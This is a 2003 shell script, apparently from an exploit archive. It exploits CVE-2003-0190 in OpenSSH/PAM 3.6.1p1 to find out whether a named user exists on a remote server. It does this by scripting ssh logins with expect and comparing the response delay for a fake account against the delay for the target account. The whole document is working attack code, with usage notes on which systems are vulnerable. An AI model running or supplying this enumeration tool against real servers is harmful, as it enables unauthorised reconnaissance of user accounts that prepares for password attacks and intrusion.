OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident - CVE-2003-0190

#!/bin/sh
# OpenSSH <= 3.6.p1 - User Identification.
# Nicolas Couture - nc@stormvault.net
#
# Description:
#   -Tells you wether or not a user exist on
#     a distant server running OpenSSH.
#
# Usage:
#   -You NEED to have the host's public key
#     before executing this script.
#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# Fact Sheet:                    #
#     o It is really accurate against    #
#       redhat boxes.            #
#     o Linux boxes running grsecurity   #
#       has 10 seconds delay on both     #
#       valid AND invalid user login     #
#       attempts.                #
#     o *BSD boxes are not vulnerables and   #
#        always has 10 seconds delay like    #
#        Linux-Grsec + network protection    #
#                        #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# History:
#    Thu May  1 15:41:18 EDT 2003
#     ; Script started.
#    Thu May  1 16:42:30 EDT 2003
#     ; Script is functional.
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# Let the user know how we work.
usage(){
 echo "$0 <user> <host>"
 exit 1
}

# Verify the arguments.
[ $# != 2 ] && usage

# Variables.
USER="$1"
HOST="$2"

#=-=-=-=-=-=-=-=-=-=-=-=-=#
# Expect script functions         #
#=-=-=-=-=-=-=-=-=-=-=-=-=#

# Expect script for password.
expasswd() {
cat << EOF > expasswd
spawn $SSHCMD
expect password:
send '\r'
interact
EOF
}

# Expect script for error.
experror() {
cat << EOF > experror
spawn expect -f expasswd
expect again.
exit 1593
interact
EOF
}

#=-=-=-=-=-=-=-=-=-=#
# -Fake user timing      #
#=-=-=-=-=-=-=-=-=-=#

# OpenSSH client command for inexisting user.
export SSHCMD="ssh nicolas_couture@$HOST"

# Build new expect script.
expasswd
experror

# Timing.
FDATE0=`date '+%s'`
echo "[-] Calculating fake user timeout..."
expect -f experror 1> /dev/null 2> /dev/null
FDATE1=`date '+%s'`

# Fake user timeout.
FUTO=`echo $FDATE1 - $FDATE0 | bc`
echo "[+] Found $FUTO."

#=-=-=-=-=-=-=-=#
# -$USER timing    #
#=-=-=-=-=-=-=-=#

# OpenSSH command.
export SSHCMD="ssh $USER@$HOST"

# Build new expect scripts.
expasswd
experror

DATE0=`date '+%s'`
echo "[-] Calculating $USER timeout on $SERVER..."
expect -f experror 1> /dev/null 2> /dev/null
DATE1=`date '+%s'`

# $USER timeout.
END=`echo $DATE1 - $DATE0 | bc`
echo "[+] Found $END."

#=-=-=-=-=#
# -Result    #
#=-=-=-=-=#

if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then
 echo "This box is not vulnerable."
 exit 1
fi

# Use of our magic skills.
if [ "$FUTO" -lt "$END" ]; then
 echo "$USER exist on $HOST."
elif [ "$FUTO" -ge "$END" ]; then
 echo "$USER doesn't exist on $HOST."
else
 echo "Segmentation fault."
 exit 13
fi

# Remove tmp files.
rm -rf expasswd experror

# EOF

# milw0rm.com [2003-05-02]